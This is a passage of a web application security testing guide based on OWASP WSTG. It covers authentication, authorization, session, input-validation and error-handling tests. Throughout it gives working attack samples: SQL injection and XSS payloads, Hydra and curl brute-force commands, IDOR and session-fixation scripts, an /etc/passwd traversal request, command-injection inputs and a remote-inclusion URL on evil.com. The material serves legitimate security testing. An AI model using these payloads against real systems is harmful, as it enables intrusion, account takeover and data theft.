Code snippet (example): An example SQL query issue related to identity could be if user identifiers are predictable:

```
-- Suppose this is how we fetch user info by ID
SELECT * FROM users WHERE user_id = 1001;
```

If user IDs are sequential, an attacker might simply increment through IDs in an API call to pull others' data. As a tester, you could write a quick script to hit an endpoint like `/api/user/1002`, `/1003` etc., to see if you can get others' data (this crosses into Authorization testing, but the predictability comes from Identity design). Ensure the app uses unpredictable IDs or GUIDs for identities, or enforces access checks.

In summary, Identity Management testing ensures that the framework around user accounts is solid: no easy way in through an unlocked “side door” like a default account or user enumeration leak. For a startup, one common pitfall is leaving an admin backdoor account during development – final testing must catch and remove that. Continuously, you can at least have a policy that any new admin functionality is flagged for security review, to ensure it’s locked down.

Authentication Testing

Key vulnerabilities: Authentication deals with the mechanisms to prove identity – typically login processes, session initiation, credential transmission, etc. Vulnerabilities here include: transmitting credentials in plaintext, weak login protections (no lockout, allowing brute force), flawed multi-factor authentication, insecure “remember me” implementations, default or weak passwords, and the ability to bypass login entirely via logic flaws. Essentially, anything that lets an attacker log in as someone else (or as admin) when they shouldn’t.

According to WSTG’s sections, tests include verifying credentials go over encrypted channel (WSTG - Latest | OWASP Foundation), testing for default credentials (WSTG - Latest | OWASP Foundation), lockout, bypassing authentication schemas, etc. Let’s break some down:

- **Insecure Transmission:** Ensure the login form is served over HTTPS and submits via HTTPS. If any part is HTTP, credentials can be sniffed. Also check if the app maybe sends creds via an API call – that also must be HTTPS. Use browser dev tools to inspect network requests during login; any sign of plaintext or non-TLS traffic is a show-stopper.
- **Default/Credential Stuffing:** As mentioned prior, test well-known default passwords for not just application but also infrastructure (e.g., try SSH with default creds if applicable, though that’s more infra). Use wordlists of common passwords for the admin user. A quick test with Hydra or Burp Intruder can attempt a few most common passwords on the admin account (if you know an admin username).
- **Weak lockout mechanism:** Deliberately input wrong password repeatedly and see if the account gets locked or if you get an increasing delay. If you can try infinite guesses, that’s a problem (WSTG - Latest | OWASP Foundation). Write a script to attempt, say, 10 wrong logins and observe if the 11th is still allowed. If there’s a captcha, see if it actually stops bots.

- **Bypassing authentication:** Try non-standard paths: perhaps certain pages or API endpoints don't properly enforce login. For example, the web app might enforce auth on UI pages but the underlying API endpoint might be callable without auth if you supply correct parameters. Test direct API calls to see if auth tokens are truly required. Another common flaw: some apps allow switching accounts by changing a cookie or a URL parameter after login – essentially hijacking another session (this crosses into Session/Authorization, but initial checks can be in auth). Also, see if any **alternative channel** allows login bypass (WSTG mentions "weaker auth in alternative channel" (GitHub - tanprathan/OWASP-Testing-Checklist: OWASP based Web Application Security Testing Checklist is an Excel based checklist which helps you to track the status of completed and pending test cases.)) – e.g., mobile app might have a different (less secure) auth flow than web.
- **"Remember Me" and Password reset:** If the app has "remember me" cookies, check if they are securely implemented (not just storing plaintext password or a weakly encrypted token that never expires). Sometimes the remember-me token can be stolen or predicted. For password reset, ensure the token is one-time use, long and random, and expires. A common mistake: password reset links that don't expire or that have short tokens that could be bruteforced. Try requesting a password reset and see what the token looks like (if it's short like 6 digits, that's brute-forceable).

Automated methods:

- **Burp Suite scanner** will test auth bypasses like sending requests without cookies to see if it gets through. But much of auth testing is logic, so manual is key.
- **Hydra** can automate brute-force testing for passwords. For example, to test lockout, you might run Hydra with a small password list and see if it's able to try a large number of attempts. If Hydra reports it could test, say, 1000 passwords without getting blocked, then lockout is not effective.
- **Custom scripts** for login: you can write a Python script using `requests` to simulate a login and then try various bypass tactics. For instance, after a successful login, see if some identifier is predictable. Or attempt a SQL injection in the login form:

```
data = {"username": "admin' OR '1'='1", "password": "random"}
r = requests.post("https://myapp.com/login", data=data)
print(r.text)
```

If you get a response indicating a successful login or some different behavior, the login might be vulnerable to SQL injection (some old systems still have that flaw). Modern frameworks usually use prepared statements, but it's worth a shot on custom login forms.

Tools & Pros/Cons:

- *Hydra:* Mentioned for brute forcing. **Pros:** Very fast (can do many attempts per second), supports parallel connections. **Cons:** Can overwhelm a server or lock accounts, so use with caution and only on test accounts. **Usage example:** `hydra -l admin -P common_passwords.txt myapp.com https-post-form "/login:username=^USER^&password=^PASS^:Invalid login"`.
- *Burp Intruder:* Good for more nuanced brute force where you watch for a particular response difference. **Pros:** Can detect subtle clues (like a shorter response when login succeeds vs fails). **Cons:** Slow in free version.
- *OTP/2FA testing tools:* If app uses TOTP (Google Authenticator), ensure that is implemented correctly. It's hard to automate testing of 2FA without the secret key, but one can test that the 2FA actually is required (e.g., see if you can skip it by hitting a later endpoint).
- *Authz testing extension:* There's a Burp extension called **Autorize** which repeats your requests with a lower-privilege user's cookies to see if it gets through. It's more for Authorization, but it starts with having a valid login.

Code snippet (example): A bash snippet using curl for a simple brute-force demonstration (not for CI, just illustrative):

```
# Simple loop to try common password on admin
for pass in admin 123456 password letmein; do
  resp=$(curl -s -d "username=admin&password=$pass"
https://staging.myapp.com/login)
  if [[ "$resp" != *"Invalid"* ]]; then
    echo "Password '$pass' seems to be correct or behavior changed!"
  fi
done
```

This tries a few passwords for user "admin" and checks if the response does **not** contain the text "Invalid". If the logic triggers, it means either we found the password or maybe got a different response (like a redirect to dashboard). This is a simplistic approach. In a real scenario, you'd likely use proper tools for larger lists and to avoid false positives.

Continuous vs Final: For continuous testing, you can automate some auth checks: for example, a daily job that attempts a login with 5 wrong passwords to ensure the

account gets locked on the 5th attempt (if your policy says 5). If it doesn't lock, the test fails. Or, if using an identity provider, ensure it's configured properly by periodically reviewing settings. However, many authentication aspects (like resisting bypass) require full context and thus final testing.

In final testing, you thoroughly test every way in:

- Try logging in without completing all steps (maybe you can skip a multi-factor by hitting the final callback URL with a guessed token).
- Test session fixation: log in with session A, then see if you can reuse that session ID after login or influence someone else's session.
- Test that logout actually invalidates session tokens.
- If the app uses OAuth (e.g., "Login with Google"), check for OAuth-specific attacks (like open redirect in the OAuth flow or leaking the OAuth token).

Authentication is the front door – final testing ensures it's solid: encrypted, hardened against guessing, and not bypassable. Continuous checks help guard against regressions (e.g., ensuring a developer doesn't accidentally remove the rate limit on login or commit a debugging backdoor password).

Authorization Testing

Key vulnerabilities: Authorization (or access control) is about ensuring users can only access resources and perform actions allowed by their role/identity. Vulnerabilities here include vertical privilege escalation (user -> admin) and horizontal privilege escalation (user A -> user B's data). Common issues: Insecure Direct Object References (IDOR) where the app relies on user-supplied IDs without proper checks, missing access control on functions (an endpoint that should require admin but doesn't), and path traversal or forceful browsing to files you shouldn't see. OWASP WSTG specifically lists tests like directory traversal (WSTG - Latest | OWASP Foundation), bypassing authorization schema, privilege escalation, and IDOR (WSTG - Latest | OWASP Foundation).

Manual methods:

- **Role-switch testing:** If you have multiple roles in the app (say admin and regular user), it's crucial to test the boundaries. Log in as a normal user and try to access admin functionality. This could be as simple as typing an "admin" URL (e.g., `/admin/dashboard`) or attempting an action like creating a new user via an API that might be admin-only. If you get access, that's a serious flaw. Also test the inverse: make sure admins can't perform certain

user-specific actions in a way that breaks things (less common, but for completeness).

- **IDOR testing:** Identify any references to objects by ID (account IDs, order IDs, file IDs) in the requests. For each, attempt to substitute another valid ID that doesn't belong to you. Example: You're user 1001, and you see a request `GET /api/orders/1001`. What if you try `/api/orders/1002`? If you get data for user 1002's order, that's an Insecure Direct Object Reference (Broken Object Level Authorization) – a very common flaw. You should test IDs not only sequentially but also edge cases like negative numbers or extremely large numbers, in case the app has weird logic (e.g., a bug where ID 0 or -1 returns all data or admin data).
- **Forced browsing:** Try to find hidden files or pages by guessing names (this overlaps with Info Gathering). For example, `/admin/config.php` or `/users/list` even if no link in UI. Tools can help brute force (like OWASP ZAP's forced browsing or DirBuster), but manually you might identify naming patterns. The idea is to catch unprotected resources.
- **Parameter tampering for authorization:** Some apps include role info in cookies or hidden fields. If you find something like `role=user` in a cookie, try changing it to `admin` and see if it grants higher privileges (often the app should ignore or server-validate it, but if not, that's trivial privilege escalation).
- **Multistep processes:** Ensure that each step enforces auth. For instance, maybe to edit a user profile you go to `/editProfile?userId=123`. The UI only shows the current user's profile, but what if you manually go to `/editProfile?userId=124`? Is there a server check or does it let you edit someone else's profile? This is IDOR in action.

Automated methods:

- **Burp Autorize Extension:** This is a handy semi-automated approach. You log in as two users (one admin, one normal). Then use Autorize to replay your admin requests with the normal user's session to see if they succeed. It flags any responses that suggest the normal user was able to perform the admin action. **Pros:** Automates a lot of trial-and-error of privilege testing; **Cons:** Needs two accounts and manual setup.
- **DirBusting tools:** Tools like DirBuster or ffuf (fast web fuzzer) can brute force URL paths to find unlinked pages. This can find if, say, `/admin` exists. But it

won't know if it's authorized; you'd still have to visit it with/without auth to see.

- **Automated IDOR scanning:** This is challenging to do generically. Some DAST tools attempt IDOR detection by fuzzing ID parameters up or down. ZAP and Burp scanners have some logic (like if a numeric param is in request, try adding 1 to it and see if the response suggests a different object). **Pros:** Can catch obvious IDOR in automated fashion; **Cons:** High false positive/negative rate, because distinguishing "not allowed" vs "no data" responses can be tricky. In final manual testing, you always verify by logging in as the other user to confirm.

Tools & Pros/Cons:

- *Burp Suite Professional:* Its scanner will attempt privilege-related tests. **Pros:** Known for identifying many web issues; **Cons:** Expensive for a startup, and automated auth testing still isn't perfect.
- *OWASP ZAP:* ZAP's active scan has some rules for path traversal and common authorization issues (like missing "admin" checks if it can detect roles), but it's limited. However, ZAP has a **Forced Browse** feature (using its built-in wordlist) that can find hidden files/folders. **Pros:** Integrated and free; **Cons:** Wordlist-based, might miss non-common paths.
- *Access Control Matrix:* This isn't a tool, but a technique – create a matrix of roles vs resources and systematically ensure each cell is properly allowed/denied. For a solo tester, writing down such a matrix helps ensure you tried all combinations.

Code snippet (example): A Python snippet to test an IDOR scenario:

```
import requests

# Suppose /api/documents/<doc_id> returns a document for the logged-in user.
cookies = {"session":"NORMAL_USER_SESSIONID"}
doc_ids = [101, 102, 103]  # documents that likely belong to user 1001
for doc in doc_ids:
    r = requests.get(f"https://myapp.com/api/documents/{doc}", cookies=cookies)
    if r.status_code == 200:
        print(f"Document {doc} accessible! Content preview: {r.text[:50]}")
```

Here, if the normal user session can access documents not belonging to them, the script would print it out. In practice, you'd get those `doc_ids` maybe from the normal user's own list and then try neighbors. The code checks HTTP status or content differences.

For **directory traversal**, an example injection: If you find a file download endpoint like `/download?file=report.pdf`, test parameter manipulation:

```
GET /download?file=../../../../etc/passwd HTTP/1.1
Host: myapp.com
```

If you get a response containing system file content, that's a directory traversal vulnerability. Automated scanners test these sequences (../../ patterns) on file parameters. But manually, you should try variations (with URL encoding, double URL encoding etc.). This category overlaps with Input Validation, but it's specifically about breaking out of the intended file path, which is often an auth issue (accessing files you shouldn't).

Continuous vs Final: Continuous testing could include writing integration tests for critical authorization rules. For example, a developer could write a test that ensures a normal user gets a 403 when trying to call an admin API. Frameworks like Ruby on Rails have inbuilt test support for this (testing controllers with different user roles). In CI, you might run these if the devs created them. Also, as mentioned, ZAP's scan in CI might catch some glaring IDOR if the app responds differently to an unauthorized attempt.

Final testing is where you do heavy lifting: trying every possible angle to break auth. It often requires multiple accounts. It's good practice to have at least two user accounts (and one admin account) for testing. If you only have one account, you might miss horizontal auth issues. In a startup, you as the tester might have to create those test accounts manually (or ask a dev to help seed them).

One more thing: **Multi-tenant applications** (common in B2B SaaS) – if your app segregates data by organization, you must test that tenant separation. That is essentially authorization on steroids: ensure users of Company A cannot see Company B's data. That might involve creating accounts in two separate orgs and trying to cross-access data (like by changing an org ID in requests).

So, strong authorization testing ensures the principle of "**least privilege**" is enforced everywhere. In the real world, IDOR is one of the most frequent findings in bug bounties and pentests, especially in APIs (see API section). So dedicate time to it in final testing. Continuous efforts (like code review or using frameworks with robust access control) can prevent many auth issues from arising in the first place.

Session Management Testing

Key vulnerabilities: Session management covers how the application handles user sessions – creating session IDs, managing cookies, session expiration, logout, etc.

Vulnerabilities include things like session fixation (an attacker sets a session ID for the victim), predictable or weak session IDs, missing secure attributes on session cookies (no Secure or HttpOnly flags, making them prone to theft (The 6 best OWASP security testing tools in 2024) (The 6 best OWASP security testing tools in 2024)), not invalidating sessions on logout, and insufficient session timeout (allowing sessions to live indefinitely). If an attacker can hijack or reuse a user's session, they can impersonate them without needing credentials.

Manual methods:

- **Cookie Inspection:** After logging in, inspect the session cookie. Check its attributes:
    - `Secure` flag should be true (so it's only sent over HTTPS).
    - `HttpOnly` flag should be true (so JavaScript cannot read it, mitigating XSS stealing cookies).
    - If it's a JWT or another token, examine its content (is it encoded or encrypted? A JWT might reveal user info if not encrypted).
    - If the session ID looks very short or not random (e.g., `JSESSIONID=12345`), that's concerning. Good session IDs are long, random strings.
- **Session Fixation:** This is tested by setting a known session ID and then logging in to see if that session ID becomes your authenticated session. For example, before login, manipulate your cookie header: `Cookie: JSESSIONID=ATTACKERFIXEDVALUE`. Then log in normally. If after login the session ID remains `ATTACKERFIXEDVALUE` (and is now authenticated), the application is not renewing session IDs on login – meaning an attacker could plant a session ID in a victim's browser (via a link or something) and then wait for them to log in, then hijack that session. To test manually, you can use browser developer tools to set a cookie, or intercept the login request with Burp and add a cookie header.
- **Session Expiration:** Log in, then remain idle. See if the session times out (try after, say, 30 minutes or whatever the expected timeout is). Also check the remember-me functionality (if present) – does it extend session securely or create a separate token? On logout, verify that the session cookie is invalidated (you can check by attempting a request with the old cookie after logout; it should be rejected or treated as not logged in).

- **Multiple sessions:** Log in from two different devices/browsers. Then log out from one – does the other still work? Some apps choose to invalidate all sessions on logout, others only the current session. If security is critical, invalidating all might be desired, but user experience might differ. Just note the behavior. Also test if changing password or other security events invalidate existing sessions (many apps log you out of all devices when you change password, for safety).
- **Cookie scope issues:** Check if the session cookie's domain and path are scoped correctly. For instance, if your app is at `app.example.com`, the cookie should ideally be scoped to that subdomain, not the parent domain (unless needed), to reduce exposure. If you have an application using multiple subdomains, ensure the cookie isn't inadvertently shared where it shouldn't.

Automated methods:

- **ZAP/Burp passive scan:** These tools will flag missing Secure/HttpOnly flags on cookies automatically (The 6 best OWASP security testing tools in 2024). They'll also flag if a session cookie is observed over HTTP (which indicates secure flag missing or not enforced).
- **Session analysis tools:** Burp has a "Sequencer" tool that can analyze session ID randomness. If you capture, say, 100 session tokens, Burp Sequencer can perform statistical tests to see if they appear random or have patterns. **Pros:** Good for detecting weak session generation (predictable tokens); **Cons:** Need many samples which is sometimes hard (you can log in/out repeatedly to get them).
- **Fuzzing logout:** Not many automated ways, but you could script: log in, perform some action, log out via the app, then try the same action with the old cookie to see if you're denied.
- **JWT automated analysis:** If sessions are via JWTs, tools like jwtcrack can attempt to brute force the signing key if the algorithm is weak or if "none" algorithm is allowed (JWT misconfig). Check if the JWT is properly signed and cannot be trivially forged. This might be manual verification (looking at the JWT header to see algorithm). If you see `alg":"none"` accepted or a symmetric key that's guessable, that's a huge issue.

Tools & Pros/Cons:

- *Burp Sequencer:* As mentioned, for session randomness. **Pros:** Thorough statistical analysis. **Cons:** You need to gather tokens which might be time-consuming.
- *AuthMatrix (Burp extension):* Helps manage multiple session tokens for different roles and test requests with each. More for authZ, but can be used to easily replay requests with different sessions to see isolation.
- *Cookiescope scripts:* A simple script can check cookie flags. For instance, in Python:

  ```
  r = requests.get("https://myapp.com/login")
  for c in r.cookies:
      print(c.name, c.secure, c.has_nonstandard_attr('HttpOnly'))
  ```

  This prints if the cookie is secure and HttpOnly. You could integrate such a check in CI to enforce cookie settings on every deployment (especially if cookie config might be changed by a developer inadvertently).

Code snippet (example): Using Python `requests` to test session fixation:

```
import requests

# Start a session without logging in
session = requests.Session()
# Set a custom session id cookie deliberately
session.cookies.set('SESSIONID', 'ATTACKER12345', path='/', domain='myapp.com')

# Now perform login with the session that has the fixed ID
login_data = {"username": "user", "password": "pass"}
resp = session.post("https://myapp.com/login", data=login_data)
print("Session ID after login:", session.cookies.get('SESSIONID'))
```

If the application is secure, the session ID after login should NOT be "ATTACKER12345" – it should issue a new random ID. If the output still shows ATTACKER12345, the app is vulnerable to session fixation because it didn't regenerate the ID on privilege elevation. In a real test, you'd use valid creds and see what happens.

Another snippet – checking cookie flags quickly:

```
curl -I -s https://myapp.com/ | grep "Set-Cookie"
```

Look at the `Set-Cookie` header. Does it contain `Secure; HttpOnly; SameSite=` attributes? If not, that's a point to raise.

Continuous vs Final: In a CI pipeline, you can have a quick check that any set-cookie header in responses includes the security attributes (some teams write

automated tests for this). Also, any change to session management code should trigger security review. Automated tests can also simulate a basic login/logout and ensure no obvious anomalies (like session ID stays same across logout/login).

Final testing dives deeper: maybe analyzing the entropy of session IDs (though frankly, modern frameworks use good randomness, but older or custom might not). Also, final test will consider scenarios like: if an XSS exists, could that be leveraged to steal session (lack of HttpOnly would make it worse). Or, can an attacker keep a session alive indefinitely (maybe the timeout is too long or refresh tokens allow long-term use)?

Additionally, test **session takeover via network**: if you have the ability, see if the application rotates session IDs on login and after privilege changes. If not, as noted, that's fixation. If the app uses cookies for session, test if any API endpoints accept session tokens in URL or other means (shouldn't, but check). Also test for **Cross-Site Request Forgery (CSRF)** protections in state-changing requests – while CSRF is separate, it relates to session because a lack of CSRF token means an attacker can abuse a user's session by making their browser do unintended actions. Check if forms have CSRF tokens or if `SameSite` cookie attribute is set to Strict/Lax to mitigate CSRF.

For a startup, a typical issue might be using default session settings of a framework without realizing Secure cookies weren't enabled until you toggle a config. Thus, continuous tests can catch "oops, Secure flag missing" early, and final test verifies things like session invalidation on logout (which might be missed otherwise).

Input Validation Testing

Key vulnerabilities: Input validation issues are one of the largest categories, including all forms of injection and cross-site scripting. The idea is any input coming from users (URL params, form fields, JSON data, cookies, etc.) that is not properly validated or sanitized can lead to the application interpreting that input as code or causing unintended behavior. The "big ones":

- **Cross-Site Scripting (XSS):** When an attacker can inject JavaScript or HTML into a page viewed by other users. XSS comes in flavors: reflected (immediate), stored (persisted in DB and shown to others), and DOM-based (client-side). Consequences: cookie stealing, account takeover, defacement, etc.
- **SQL Injection:** Crafting input that breaks out of an SQL query and executes the attacker's SQL. Consequences: data theft, data tampering, or complete DB

takeover. Still extremely dangerous, though frameworks have mitigations if used correctly.

- **NoSQL/ORM Injection:** Similar concept for NoSQL databases or ORM (Object-Relational Mapping) queries – injecting into a query or filter expression.
- **Command Injection:** If the app passes user input to a system shell or OS command (not common unless app does system calls), you can inject extra commands.
- **LDAP Injection, XPath Injection:** Inject into LDAP queries or XML queries – less common but possible.
- **HTTP Header injection / Response splitting:** Malicious input causing response headers to be malformed (maybe allowing header injection or splitting to create new response).
- **Mass Assignment:** When the app blindly accepts fields in JSON or form into an object, allowing attackers to set fields they shouldn't (like setting "isAdmin=true" in their submitted data if the framework auto-maps it).
- **Cross-Site Request Forgery (CSRF)** (though often considered separately from "input validation", it's a related input issue where the app trusts a request without proper validation token).

Given the breadth, we focus on XSS and injection as top priority, as WSTG has multiple sections on these (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation).

Manual methods:

- **XSS testing:** Identify any input that is reflected in an output page or stored and shown later. Common vectors: query parameters that appear in the HTML (search queries, error messages, etc.), form inputs that are displayed (profile name, comments). For each, attempt injecting a simple script:
    - Reflected: e.g., try `"><script>alert(1)</script>` in the parameter and see if an alert pops or if the script tag appears in the response source. You can also try less obvious payloads like `<svg onload=alert(1)>` or `"><img src=x onerror=alert(1)>`. If you see the alert or your payload executes, XSS is confirmed. Even if you just see your payload in the HTML without escaping (e.g., you see `<script>alert(1)</script>` in the page source), that means likely XSS exploitable (maybe the alert didn't fire due to some context, but unescaped insertion is a problem).

    - Stored: Enter an XSS payload into fields like a user profile name or a comment, then view the page as another user. If the script runs, that's a stored XSS.
    - DOM XSS: Use browser dev tools to inspect if user input is used in JavaScript on the client side. E.g., if a page reads window.location.hash and writes it to the DOM without sanitizing, you can test by modifying the URL hash with `#"><script>alert('XSS')</script>` and see if it executes. Tools like the Chrome DevTools or Burp's DOM Invader extension can help find DOM sinks and sources.
- **SQL Injection testing:** For any parameter that might go into a database query (commonly, any id in URL, search boxes, login forms), try classic SQLi payloads:
    - `' OR '1'='1` as an input (often in login username or in any filter field) to see if it bypasses checks or returns all data.
    - Use `'` or `"` to see if you get a SQL error message (like an error trace indicating a syntax error in SQL). If you see an error such as *"You have an error in your SQL syntax"* or *"UNIQUE constraint failed"* etc., you know input is reaching SQL unsanitized. Even if errors are suppressed (good practice), try time-based or boolean techniques:
        - For time-based (blind): If using a database like PostgreSQL or MySQL, you can try `'; SELECT pg_sleep(5)--` or `'; WAITFOR DELAY '0:0:5'--` (for MSSQL) appended to a parameter and see if the response time delays by 5 seconds. That indicates the injection worked (the DB paused).
        - For boolean: `1' AND 1=1--` vs `1' AND 1=2--` – see if the response differs (one might show results, the other none).
    - Another approach: If you have a numeric ID in a parameter, try adding `OR 1=1` or `;` etc. Example: `https://myapp.com/product?id=5 OR 1=1` – does it dump all products?
- **Other injections:** If the app uses search with advanced queries or a mail feature, maybe test **LDAP** or **SMTP injection**. These are less common, but for completeness:
    - For LDAP: try characters like `*)(|(user=*` in search fields to see if you can manipulate LDAP filters.

    - For command injection: if there's a field that might go to a system command (like a form that pings an IP), try `127.0.0.1; ls -la` or `& whoami`. If you get command output or some unusual behavior, jackpot.
    - **File inclusion** (local or remote): If the app takes a filename as input, e.g., `/page?file=about.html`, try `file=../../etc/passwd` or `file=http://evil.com/shell.txt`. This tests for directory traversal or remote file inclusion vulnerabilities.
    - **Format string** (C-style issues): Rare in web apps unless using unsafe C code or certain C libraries. If you see an application echo `%(something)`, could try `%x` to see if it dumps memory – quite rare these days in web context.
- **Mass Assignment:** Try adding extra fields in requests. For example, if there's an user update JSON: `{"name":"Bob"}`, you might attempt `{"name":"Bob", "isAdmin": true}` to see if the server foolishly honors that and upgrades your role. Or if creating an object, include fields that are not exposed in the UI but exist in the model (by guessing field names or reading API docs if any). If you succeed in altering something you shouldn't (like giving yourself admin, or setting someone else's userId on an object), that's a serious logic flaw.

Automated methods:

- **DAST scanners (ZAP/Burp):** Both ZAP and Burp active scans are quite good at injecting common payloads for XSS and SQLi. They will try a variety of XSS payloads in each input field and see if the response reflects them or if the scanner's XSS probe gets triggered. They also try SQL injection payloads and look for error signatures or response differences. **Pros:** Can cover many inputs quickly; **Cons:** Might miss logic-heavy injection points or cause false positives (like flagging something as XSS when it's actually encoded or harmless).
- **sqlmap:** The go-to tool for SQL injection automation. Given a URL (and possibly parameters), sqlmap will systematically attempt to exploit SQLi, find the database, dump tables, etc. **Pros:** Extremely effective once it detects an injection, can even find blind SQLi through timing. **Cons:** Requires the vulnerability to exist; can be noisy and potentially risky on production (it might perform heavy queries). For final testing in a staging environment, it's great. *Usage:* `sqlmap -u "https://myapp.com/item?id=5" --batch --banner` (this tries to get the database banner). If vulnerable, you can then do `--dump` to dump data.

- **XSStrike or similar XSS scanners:** XSStrike is a dedicated XSS fuzzer that can try payloads and even generate permutations. **Pros:** More focused on XSS than general scanners; **Cons:** Need to specify endpoint and parameter, and some knowledge to interpret results.
- **Fuzzers:** Tools like wfuzz/ffuf can fuzz parameters with payload lists. For example, you can fuzz a search parameter with a list of XSS payloads and detect which payload made it into the response unescaped. This is more manual but scriptable.

Tools & Pros/Cons:

- *sqlmap:* Already described. **Pros:** Automates exploitation, not just detection (so it can confirm with actual data extraction). **Cons:** Might be overkill if you just want yes/no vulnerability (but you can limit its actions).
- *OWASP ZAP active scan:* **Pros:** Free, integrates in CI. **Cons:** Could miss some complex cases or if the app uses anti-automation defenses (like CSRF tokens that make automated scanning hard).
- *Burp Scanner:* **Pros:** Very good coverage including some business logic checks now; **Cons:** cost.
- *Browser-based XSS testing:* Using something like **Dalek** or headless Chrome to see if payloads execute. Not typically used in CI, but conceptually you could have a headless browser load pages after injecting scripts to see if it pops something.

Code snippet (example): Demonstrating a simple SQL injection by hand (for understanding):

```
-- A normal query behind a login might be:
SELECT * FROM users WHERE username='$user' AND password='$pass';
-- If we supply user: admin' --  and leave password blank, the query becomes:
SELECT * FROM users WHERE username='admin' -- ' AND password='';
-- The -- comments out the rest, so effectively: SELECT * FROM users WHERE
username='admin'
-- This logs in as admin without password.
```

As a tester, you might try the username `admin' --` (and any password) on a login form. If you get in (or get a different error like “incorrect syntax near –”), it’s likely injectable. Modern apps rarely echo SQL errors, but older PHP apps might.

Another snippet: XSS payload usage:

```
<input name="q" value=''><script>alert(1)</script>'>
```

If you put that into a search box and the page comes back with an alert or broken HTML, you found an XSS. In testing, you often start with harmless payload (like an alert) and escalate to see impact (stealing cookies or executing more complex JS).

Continuous vs Final: Continuous testing can incorporate basic injection tests via automation. For instance, you might run ZAP active scan in CI on a staging environment to catch the obvious XSS, SQLi, etc. Also, incorporate static analysis focusing on injection sinks (like checking that all database queries use parameter binding, not string concatenation – tools like SonarQube can detect usages of vulnerable APIs). You can also include unit tests for critical input validation functions (e.g., if you have a custom sanitizer, have tests that ensure it catches `<script>` tags).

However, automated tools may not understand context or complex injection points. Final testing is where you manually verify and dig deeper:

- You might chain an injection: e.g., find a blind SQL injection and then exploit it via sqlmap to confirm data leakage.
- Use out-of-band techniques (for blind vulnerabilities where no response). Tools like Burp Collaborator or OWASP OAST (Out-of-band Application Security Testing) can catch if an injection triggers a DNS or HTTP callback to your server (like in XXE or SSRF tests).
- You'll also test *impact* thoroughly: e.g., If XSS is found, you try to steal a session cookie to demonstrate impact, or if SQLi is found, show that you can dump user passwords. This helps prioritize the fix.

A startup should prioritize fixing any injection or XSS immediately – these are typically high risk (often critical for SQLi). WSTG provides many techniques, but in practice, you need a combination of automated scanning and clever manual testing for the more subtle injection issues (like the mass assignment example or logic-related injections).

Error Handling and Logging Testing

Key vulnerabilities: This category looks at how the application handles errors and whether it leaks sensitive information through error messages or logs. The main issues are:

- **Verbose error messages to users:** If an app crashes or has an error and displays a stack trace or database dump to the user, that's leakage of internals (e.g., revealing code file paths, SQL statements, or secrets in the error) (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation). Attackers

can use this info to refine attacks (like knowing the database schema or server filesystem structure).

- **Stack traces or debug modes enabled:** Similar to above – any exception not caught might throw a stack trace to the UI. Also, frameworks often have a "debug mode" (like ASP.NET custom errors off, or Django debug mode) that should be off in production.
- **Improper error handling logic:** For example, an operation fails but the app doesn't roll back or secure things properly (not as common as info leakage, but think of an incomplete transaction leaving things in limbo).
- **Logging of sensitive data:** This is more a server-side issue – e.g., the app might log passwords or credit card numbers in plaintext in log files. As a tester, unless you have server access, you might not see this. But you can test for evidence, like after a failed login, does the error say anything too specific?

Manual methods:

- **Induce errors intentionally:** Give invalid input to see how the app responds. For instance:
    - Put letters where numbers are expected (e.g., product ID as "ABC" instead of 123) – does it throw a type conversion error?
    - Put special characters or very long strings to possibly overflow something or cause an unhandled exception.
    - For file uploads, try uploading an invalid file or extremely large file to see if an error reveals something.
    - If there's a URL parameter that gets used in a DB query, try adding a single quote to cause SQL error (if not sanitized). Even if not aiming for injection exploit, you want to see the error message. A generic "500 Internal Server Error" is fine (as long as it doesn't leak details). But if it prints out a SQLException, that's an info leak.
- **Check error codes and messages:** Some apps return different HTTP status codes or messages that can be leveraged. For example, login might return 200 for "user exists, password wrong" vs 404 for "user not found" – that inadvertently leaks user enumeration as mentioned. That's an error handling issue (should handle both cases uniformly).
- **Look for developer comments or debug info in HTML:** Sometimes error messages aren't obvious. A page might show a generic error to user but

embed a detailed error in HTML comments. Inspect the page source when an error occurs (developers sometimes leave helpful info in comments).

- **Test APIs for error responses:** If the app has an API, see if errors return stack traces in JSON. Some frameworks dump a lot in API error responses, including stack traces or environment variables. Ensure the API responds with generic error messages in production mode.
- **Logging check:** If possible, review logs (this might require developer's help if black-box). But as a test, you can send some unique input in a field and then ask if it appeared in any server log. For example, enter `test1234` as a username and see if it's in logs. If yes, is it in plaintext (likely)? If you entered a password `SuperSecret!`, did that show up anywhere (hopefully not)? Usually you can't easily verify logging without access, but you can encourage the team to check that sensitive info isn't logged by configuration.

Automated methods:

- Most automated scanners will note if they detect a stack trace in responses. For instance, Burp or ZAP have passive scan checks for common error strings (like "NullReferenceException" or "ORA-" or "SQL syntax error"). They'll flag those as information leakage findings (WSTG - Latest | OWASP Foundation).
- Fuzzers can be used to throw a bunch of weird input and see if any request triggers an error containing certain patterns. For instance, you could fuzz a parameter with payloads known to break things (like long strings, special format). If the response contains known error keywords, log it.
- Some tools like **OWASP BugBob** (less known) or custom scripts could be used to monitor an application for exceptions if integrated, but generally error handling is best verified manually.

Tools & Pros/Cons:

- *ZAP Passive Scanner:* **Pros:** Looks for known error signatures (SQL, ASP.NET, Java exceptions) in all responses. **Cons:** If the app suppresses errors, it won't find anything. But any accidental info leak might be caught.
- *Burp Scanner:* Same as above – built-in checks for verbose errors.
- *Custom error wordlist & curl:* You can write a script to inject some payload that you expect to cause error, and then grep the response for certain keywords (like "Exception" or "Warning" or "Trace:"). For example:

```
response=$(curl -s "https://myapp.com/search?q='")
if echo "$response" | grep -q "SQL"; then
```

```
        echo "Possible SQL error revealed!"
    fi
```

Continuous vs Final: In continuous testing, you might have configurations to ensure debug mode is off in production builds (some frameworks can even throw a build error if debug true for prod). Also, after deployment to staging, automated scans (as mentioned) can catch glaring info leaks. It's also good to have a monitoring in production: e.g., set up alerts if an exception occurs frequently (because an attacker might be triggering them to find vulnerabilities). That drifts into DevOps monitoring, but it's related.

Final testing will try to produce errors intentionally, as described, to verify nothing sensitive is shown. Also, as a final step, you often ask for a quick look at logs (if you have that access) to ensure no sensitive data is stored – for example, ensure that credit card numbers or passwords are masked in logs if errors related to them occur.

Code snippet (example): Simulating an error scenario:

```
# Send a very long string to a parameter to possibly cause an error
curl -s -d "username=$(perl -e 'print "A"x10000')" https://myapp.com/api/search
```

This sends 10,000 A's as a username or search term. If the server isn't expecting that, it might throw an error (maybe buffer overflow or 500). Check if response contains something like "Error" or if it returns 500.

Another example in an HTTP context:

```
GET /product?id=' HTTP/1.1
Host: myapp.com
```

